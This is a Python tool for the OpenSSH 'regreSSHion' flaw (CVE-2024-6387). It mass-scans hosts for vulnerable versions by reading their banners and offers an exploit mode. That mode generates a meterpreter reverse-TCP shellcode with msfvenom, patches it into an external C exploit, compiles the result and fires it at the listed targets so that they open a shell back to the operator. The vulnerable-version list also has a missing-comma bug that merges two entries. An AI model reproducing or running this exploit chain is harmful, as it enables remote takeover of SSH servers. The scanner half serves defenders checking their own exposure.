CVE-2024-6387.py

#!/usr/bin/env python3

import socket
import argparse
import ipaddress
import threading
from queue import Queue
import csv
import json
import os
import time
import ctypes



class Color:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    ORANGE = "\033[33m"
    RESET = '\033[0m'

version = "2.0"


# Scan
def resolve_hostname(ip):
    try:
        hostname = socket.gethostbyaddr(ip)[0]
        return hostname
    except (socket.herror, socket.gaierror):
        return None

# Initialize Socket Connection
def create_socket(ip, port, timeout):
    try:
        family = socket.AF_INET6 if ':' in ip else socket.AF_INET
        sock = socket.socket(family, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((ip, port))
        return sock
    except Exception:
        return None

# Grabs SSH_Banner
def get_ssh_banner(sock, use_help_request):
    try:
        banner = sock.recv(1024).decode(errors='ignore').strip()
        if banner or not use_help_request:
            return banner
        helpstr = "HELP\n"
        sock.sendall(helpstr.encode())
        banner = sock.recv(1024).decode(errors='ignore').strip()
        return banner
    except Exception as e:
        return str(e)
    finally:
        sock.close()

# Initiate Vulnerability Scan
def check_vulnerability(ip, port, timeout, gracetimecheck, result_queue, resolve_hostnames):
    hostname = resolve_hostname(ip) if resolve_hostnames else None

    sshsock = create_socket(ip, port, timeout)
    if not sshsock:
        result_queue.put((ip, port, hostname, 'closed', "Port closed"))
        return
    
    try:
        banner = get_ssh_banner(sshsock, use_help_request=None)
    except Exception as e:
        result_queue.put((ip, port, hostname, 'failed', f"Failed to grab the SSH-Banner: {e}"))
        return

    if not banner:
        result_queue.put((ip, port, hostname, 'failed', f"(Failed to grab the SSH-Banner: {banner})"))
        return

    if "SSH-2.0-OpenSSH" not in banner:
        result_queue.put((ip, port, hostname, 'unknown', f"Unexpected banner format: {banner}"))
        return

    vulnerable_versions = [
        'OpenSSH_1.2.2p1',
        'OpenSSH_1.2.3p1',
        'OpenSSH_2.1.1p2',
        'OpenSSH_2.1.1p3',
        'OpenSSH_2.0.0p1',
        'OpenSSH_2.3.0p1',
        'OpenSSH_2.5.1p1',
        'OpenSSH_2.5.1p2',
        'OpenSSH_2.5.2p2',
        'OpenSSH_2.9',
        'OpenSSH_2.9p1',
        'OpenSSH_2.9.9',
        'OpenSSH_2.9.9p1',
        'OpenSSH_2.9p2',
        'OpenSSH_3.0',
        'OpenSSH_3.0p1',
        'OpenSSH_3.0.1',
        'OpenSSH_3.0.1p1',
        'OpenSSH_3.0.2p1',
        'OpenSSH_3.1',
        'OpenSSH_3.1p1',
        'OpenSSH_3.2.2',
        'OpenSSH_3.2.2p1',
        'OpenSSH_3.2.3',
        'OpenSSH_3.2.3p1',
        'OpenSSH_3.3',
        'OpenSSH_3.3p1',
        'OpenSSH_3.4',
        'OpenSSH_3.4p1',
        'OpenSSH_3.5',
        'OpenSSH_3.5p1',
        'OpenSSH_3.6',
        'OpenSSH_3.6p1',
        'OpenSSH_3.6.1',
        'OpenSSH_3.6.1p1',
        'OpenSSH_3.6.1p2',
        'OpenSSH_3.7',
        'OpenSSH_3.7p1',
        'OpenSSH_3.7.1',
        'OpenSSH_3.7.1p1',
        'OpenSSH_3.7.1p2',
        'OpenSSH_3.8',
        'OpenSSH_3.8p1',
        'OpenSSH_3.8.1',
        'OpenSSH_3.8.1p1',
        'OpenSSH_3.9',
        'OpenSSH_3.9p1',
        'OpenSSH_4.0',
        'OpenSSH_4.1',
        'OpenSSH_4.2',
        'OpenSSH_4.2p1',
        'OpenSSH_4.3',
        'OpenSSH_4.3p1',
        'OpenSSH_4.3p2',
        'OpenSSH_4.4',
        'OpenSSH_4.4p1',
        'OpenSSH_8.5',
        'OpenSSH_8.5p1',
        'OpenSSH_8.6',
        'OpenSSH_8.6p1',
        'OpenSSH_8.7',
        'OpenSSH_8.7p1',
        'OpenSSH_8.8',
        'OpenSSH_8.8p1',
        'OpenSSH_8.9',
        'OpenSSH_8.91',
        'OpenSSH_9.0',
        'OpenSSH_9.0p1',
        'OpenSSH_9.1',
        'OpenSSH_9.1p1',
        'OpenSSH_9.2',
        'OpenSSH_9.2p1',
        'OpenSSH_9.3',
        'OpenSSH_9.3p1',
        'OpenSSH_9.4',
        'OpenSSH_9.4p1',
        'OpenSSH_9.5',
        'OpenSSH_9.5p1',
        'OpenSSH_9.6',
        'OpenSSH_9.6p1',
        'OpenSSH_9.7'
        'OpenSSH_9.7p1'
    ]

    patched_versions = [
        'OpenSSH_8.9p1 Ubuntu-3ubuntu0.10',
        'OpenSSH_9.3p1 Ubuntu-3ubuntu3.6',
        'OpenSSH_9.6p1 Ubuntu-3ubuntu13.3',
        'OpenSSH_9.3p1 Ubuntu-1ubuntu3.6',
        'OpenSSH_9.2p1 Debian-2+deb12u3',
        'OpenSSH_8.4p1 Debian-5+deb11u3',
        'OpenSSH_9.7p1 Debian-7'
    ]

    finalbanner = (banner.split('-')[2]).split(' ')[0]
    distroversion = banner.split('-')[2]+(banner.split('-')[3]) if len(banner.split('-')) > 3 else banner.split('-')[2]

    if any(version in finalbanner for version in vulnerable_versions) and distroversion not in patched_versions:
        if gracetimecheck:
            sshsock = create_socket(ip, port, timeout)
            if not sshsock:
                result_queue.put((ip, port, hostname, 'closed', "Port closed during grace time check"))
                return

            starttime = time.time()
            banner_throw_away = sshsock.recv(1024).decode(errors='ignore').strip()
            sshsock.settimeout(gracetimecheck - (time.time() - starttime) + 4)
            socket_timed_out = False
            socket_reset = False
            try:
                sshsock.recv(1024).decode(errors='ignore').strip()
            except socket.timeout:
                socket_timed_out = True
            except ConnectionResetError:
                socket_reset = True

            time_elapsed = time.time() - starttime
            if sshsock:
                if socket_reset:
                    result_queue.put((ip, port, hostname, 'vulnerable', f"(running {banner}) vulnerable and LoginGraceTime remediation not done (Session was reset by server at {time_elapsed:.1f} seconds)"))
                elif not socket_timed_out:
                    result_queue.put((ip, port, hostname, 'vulnerable', f"(running {banner}) vulnerable and LoginGraceTime remediation not done (Session was closed by server at {time_elapsed:.1f} seconds)"))
                else:
                    result_queue.put((ip, port, hostname, 'likely_not_vulnerable', f"(running {banner} False negative possible depending on LoginGraceTime)"))
                sshsock.close()
            else:
                result_queue.put((ip, port, hostname, 'vulnerable', f"(running {banner})"))
        else:
            result_queue.put((ip, port, hostname, 'vulnerable', f"(running {banner})"))
    else:
        result_queue.put((ip, port, hostname, 'not_vulnerable', f"(running {banner})"))

# Initiate Port Scan
def scan_ports(targets, port, timeout, gracetimecheck, output_format=None, output_file=None, resolve_hostnames=False):
    """Scan ports on multiple targets and optionally write results to a file."""
    ips = []
    for target in targets:
        try:
            with open(target, 'r') as file:
                ips.extend(file.readlines())
        except IOError:
            if '/' in target:
                try:
                    network = ipaddress.ip_network(target, strict=False)
                    ips.extend([str(ip) for ip in network.hosts()])
                except ValueError:
                    print(f"{Color.RED}[-] Invalid: {target}{Color.RESET}")
            else:
                ips.append(target.strip())

    result_queue = Queue()
    threads = []
    max_threads = 50  # Limit the number of threads to avoid system overload

    def start_thread(ip):
        thread = threading.Thread(target=check_vulnerability, args=(ip.strip(), port, timeout, gracetimecheck, result_queue, resolve_hostnames))
        thread.start()
        threads.append(thread)

    for ip in ips:
        if len(threads) >= max_threads:
            for thread in threads:
                thread.join()
            threads = []
        start_thread(ip)

    for thread in threads:
        thread.join()

    total_scanned = len(ips)
    closed_ports = 0
    unknown = []
    not_vulnerable = []
    likely_not_vulnerable = []
    vulnerable = []

    while not result_queue.empty():
        ip, port, hostname, status, message = result_queue.get()
        if status == 'closed':
            closed_ports += 1
        elif status == 'unknown':
            unknown.append((ip, hostname, message))
        elif status == 'vulnerable':
            vulnerable.append((ip, hostname, message))
        elif status == 'not_vulnerable':
            not_vulnerable.append((ip, hostname, message))
        elif status == 'likely_not_vulnerable':
            likely_not_vulnerable.append((ip, hostname, message))
        else:
            print(f"{Color.YELLOW}[!] Server at {ip}:{port} {message}{Color.RESET}")
            
    print(f"\n🚨Servers likely vulnerable: {len(vulnerable)}")
    for ip, hostname, msg in vulnerable:
         print(f"   [+] Server at {Color.RED}{ip} ({hostname or 'N/A'}):{port}{Color.RESET} {msg}")
    print(f"\n🛡️ Servers not vulnerable: {len(not_vulnerable)}")
    for ip, hostname, msg in not_vulnerable:
        print(f"   [+] Server at {Color.GREEN}{ip} ({hostname or 'N/A'}):{port}{Color.RESET} {msg}")
    print(f"\n🛡️ Servers likely not vulnerable (possible LoginGraceTime remediation): {len(likely_not_vulnerable)}")
    for ip, hostname, msg in likely_not_vulnerable:
        print(f"   [+] Server at {Color.GREEN}{ip} ({hostname or 'N/A'}):{port}{Color.RESET} {msg}")
    print(f"\n⚠️ Servers with unknown SSH version: {len(unknown)}")
    for ip, hostname, msg in unknown:
        print(f"   [+] Server at {Color.ORANGE}{ip} ({hostname or 'N/A'}):{port}{Color.RESET} {msg}")

    print(f"\n{Color.CYAN}Summary{Color.RESET}:")
    print(f"\n📊 Total scanned hosts: {total_scanned}")
    print(f"\n🚨 {Color.RED}Total vulnerable hosts: {len(vulnerable)}{Color.RESET}")
    print(f"\n🛡️ {Color.GREEN} Total not vulnerable hosts: {len(not_vulnerable)}{Color.RESET}")
    print(f"\n🛡️ {Color.GREEN} Total likely not vulnerable hosts: {len(likely_not_vulnerable)}{Color.RESET}")
    print(f"\n⚠️ {Color.ORANGE} Total unknown hosts: {len(unknown)}{Color.RESET}")
    print(f"\n🔒 Servers with port {port} closed: {closed_ports}")

 
    if output_format and output_file:
        if output_format == 'csv':
            with open(output_file, 'w', newline='') as csvfile:
                csv_writer = csv.writer(csvfile)
                csv_writer.writerow(['IP', 'Hostname', 'Status', 'Message'])
                for ip, hostname, msg in not_vulnerable:
                    csv_writer.writerow([ip, hostname, '[-] No vulnerable server found', msg])
                for ip, hostname, msg in vulnerable:
                    csv_writer.writerow([ip, hostname, '[+] Vulnerable server found', msg])
                for ip, hostname, msg in likely_not_vulnerable:
                    csv_writer.writerow([ip, hostname, '[?] Likely not vulnerable server found', msg])
                csvfile.flush()
            print(f"\n{Color.CYAN}✅ Results saved to {output_file} in CSV format.{Color.RESET}")
        
        elif output_format == 'txt':
            with open(output_file, 'w') as txtfile:
                txtfile.write(f"No vulnerable server found: {len(not_vulnerable)}\n")
                for ip, hostname, msg in not_vulnerable:
                    txtfile.write(f"   [+] No vulnerable server found at {ip} ({hostname or 'N/A'}) {msg}\n")
                txtfile.write(f"\nLikely not vulnerable server found: {len(likely_not_vulnerable)}\n")
                for ip, hostname, msg in likely_not_vulnerable:
                    txtfile.write(f"   [+] Likely not vulnerable server found at {ip} ({hostname or 'N/A'}) {msg}\n")
                txtfile.write(f"\nVulnerable server found: {len(vulnerable)}\n")
                for ip, hostname, msg in vulnerable:
                    txtfile.write(f"   [+] Vulnerable server found at {ip} ({hostname or 'N/A'}) {msg}\n")
            print(f"\n{Color.CYAN}✅ Results saved to {output_file} in TXT format.{Color.RESET}")

        elif output_format == 'json':
            output_dict = {
                '[-] No vulnerable server found': [{ip: {'hostname': hostname, 'message': msg}} for ip, hostname, msg in not_vulnerable],
                '[?] Likely not vulnerable server found': [{ip: {'hostname': hostname, 'message': msg}} for ip, hostname, msg in likely_not_vulnerable],
                '[+] Vulnerable server found': [{ip: {'hostname': hostname, 'message': msg}} for ip, hostname, msg in vulnerable]
            }
            with open(output_file, 'w') as jsonfile:
                json.dump(output_dict, jsonfile, indent=4)
            print(f"\n{Color.CYAN}✅ Results saved to {output_file} in JSON format.{Color.RESET}")

# Create Exploit
def create_exploit(nic):
    print(f"{Color.GREEN}[+] Creating exploit...{Color.RESET}")
    ip = os.popen(f'ip addr show {nic}').read().split("inet ")[1].split("/")[0]

    cmd1 = 'cp 7etsuo-regreSSHion.c 7etsuo-regreSSHion-ex.c'
    os.system(cmd1)
    os.sync()
    #msfvenom is required when creating the exploit / You can use a different script here to initiate your code 
    cmd2 = (f'msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT=9999 -f c -v shellcode')
    output = (os.popen(cmd2).read())

    with open('7etsuo-regreSSHion-ex.c', 'r') as file:
        data = file.readlines()
        data[49] = f'{output}\n'
    with open('7etsuo-regreSSHion-ex.c', 'w') as file:
        file.writelines(data)
        print()
        file.close()

    cmd3 = (f'gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion-ex.c')
    os.system(cmd3)
    os.remove('7etsuo-regreSSHion-ex.c')



def exploit_vulnerability(targets, port, nic):
    """Exploit vulnerability on vulnerable servers."""
    print(f"{Color.GREEN}Exploiting vulnerabilities...{Color.RESET}")

    targets = ','.join(targets)

    # Create the exploit
    create_exploit(nic)

    # Call the C function
    if os.path.isfile('exploit.so'):
        lib = ctypes.CDLL('./exploit.so')
        lib.exploit_vulnerability.argtypes = [ctypes.c_char_p, ctypes.c_int]
        lib.exploit_vulnerability.restype = ctypes.c_int
        result = lib.exploit_vulnerability(targets.encode(), port)
        if result == 0:
            print("Exploitation successful!")
        else:
            print("Exploitation failed.")
    else:
        print("Cannot initiate exploitation, due to exploit.so no created! Please create exploit.so first!")

def initiate_exploit():
    print("Trying to exploit CVE-2024-6387...")
    

def main():
    banner = rf"""{Color.GREEN}                                                     
   .aMMMb  dMMMMb  dMMMMMP dMMMMb  .dMMMb  .dMMMb  dMP dMP 
  dMP"dMP dMP.dMP dMP     dMP dMP dMP" VP dMP" VP dMP dMP  
 dMP dMP dMMMMP" dMMMP   dMP dMP  VMMMb   VMMMb  dMMMMMP   
dMP.aMP dMP     dMP     dMP dMP dP .dMP dP .dMP dMP dMP    
VMMMP" dMP     dMMMMMP dMP dMP  VMMMP"  VMMMP" dMP dMP 

   ReggreSSHion CVE-2024-6387 Vulnerability Checker / Exploiter
   {version} - Optimized by @Kz
    {Color.RESET}"""
    parser = argparse.ArgumentParser(description="Allows to scan for the RegreSSHion (CVE-2024-6387) vulnerability and perform exploitation.",
                                    epilog='Example usage: CVE-2024-6387.py -s <targets> -p <port> -t <timeout> -o <csv/txt/json> -f <output-file>')
    print(banner)
    parser.add_argument("mode", nargs='?', choices=['scan','exploit'], help="Selecting the method by user choice. Create: Creates exploit.so Scan: Scans for vulnerability Exploit: Exploits vulnerability")
    parser.add_argument("-T","--targets", nargs='+', help="IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.")
    parser.add_argument("-f", "--outputfile", help="File to save results to. (e.q: result.json)")
    parser.add_argument("-g", "--gracetimecheck", nargs='?', const=120, type=int, help="Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).")
    parser.add_argument("-n", "--nic", default='eth0', help="Your Network NIC")
    parser.add_argument("-o", "--output", choices=['csv', 'txt', 'json'], help="Output format for results.")
    parser.add_argument("-p", "--port", type=int, default=22, help="Port number to check or exploit (default: 22).")
    parser.add_argument("-s", "--speed", type=int, default=10, help="Number of threads to increase race condition chances")
    parser.add_argument("-t", "--timeout", type=float, default=1.0, help="Connection timeout in seconds (default: 1 second).")
    parser.add_argument("-H", "--resolve-hostnames", action="store_true", help="Resolve and display hostnames")

    #Initialize Parser and assign variable to parsed arguments
    args = parser.parse_args()
    mode = args.mode
    targets = args.targets
    port = args.port
    timeout = args.timeout
    nic = args.nic
    gracetimecheck = args.gracetimecheck
    resolve_hostnames = args.resolve_hostnames

    #determine the mode that is used scan or exploit
    if mode == 'scan':
        if args.targets is not None:
            output_format = args.output if args.output else None
            output_file = args.outputfile if args.outputfile else None
            scan_ports(targets, port, timeout, gracetimecheck, output_format, output_file, resolve_hostnames)
        else:
            print("Please specify --targets (-T) in order to use this command")
    elif mode == 'exploit':
        if args.targets and args.nic is not None:
            exploit_vulnerability(targets,port,nic)
        else:
            print("Please specify both --targets (-T) and --nic (-n) in order to use this command")    
    else:
        print("Please specify either scan or exploit option. \n")
        print(f"Example: CVE-2024-6387.py scan <targets> -p <port>")

if __name__ == "__main__":
    main()